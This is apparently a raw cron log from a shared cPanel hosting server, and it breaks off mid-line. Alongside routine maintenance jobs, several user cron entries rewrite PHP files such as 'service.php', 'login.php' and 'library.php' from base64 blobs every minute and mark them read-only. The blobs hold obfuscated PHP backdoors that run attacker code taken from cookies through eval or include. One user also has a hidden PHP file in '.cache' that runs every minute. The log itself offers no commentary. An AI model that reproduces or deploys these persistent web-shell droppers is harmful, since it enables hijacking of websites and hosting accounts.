Apr 19 04:20:01 medusa CROND[26675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:20:01 medusa CROND[26679]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:20:01 medusa CROND[26680]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:20:01 medusa CROND[26681]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:20:01 medusa CROND[26686]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26687]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:20:01 medusa CROND[26691]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:20:01 medusa CROND[26677]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:20:01 medusa CROND[26678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:20:01 medusa CROND[26683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26698]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26685]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 04:20:01 medusa CROND[26684]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:20:01 medusa CROND[26707]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26688]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:20:01 medusa CROND[26710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26699]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:20:01 medusa CROND[26720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:21:01 medusa CROND[17116]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:21:01 medusa CROND[17185]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:21:01 medusa CROND[17186]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:21:01 medusa CROND[17187]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:21:01 medusa CROND[17188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:21:01 medusa CROND[17189]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:21:01 medusa CROND[17191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:21:01 medusa CROND[17192]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:21:01 medusa CROND[17193]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:21:01 medusa CROND[17194]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:21:01 medusa CROND[17196]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:21:01 medusa CROND[17199]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:21:01 medusa CROND[17200]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:21:01 medusa CROND[17209]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:22:01 medusa CROND[7716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:22:01 medusa CROND[7792]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:22:01 medusa CROND[7793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:22:01 medusa CROND[7794]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:22:01 medusa CROND[7797]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:22:01 medusa CROND[7799]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6b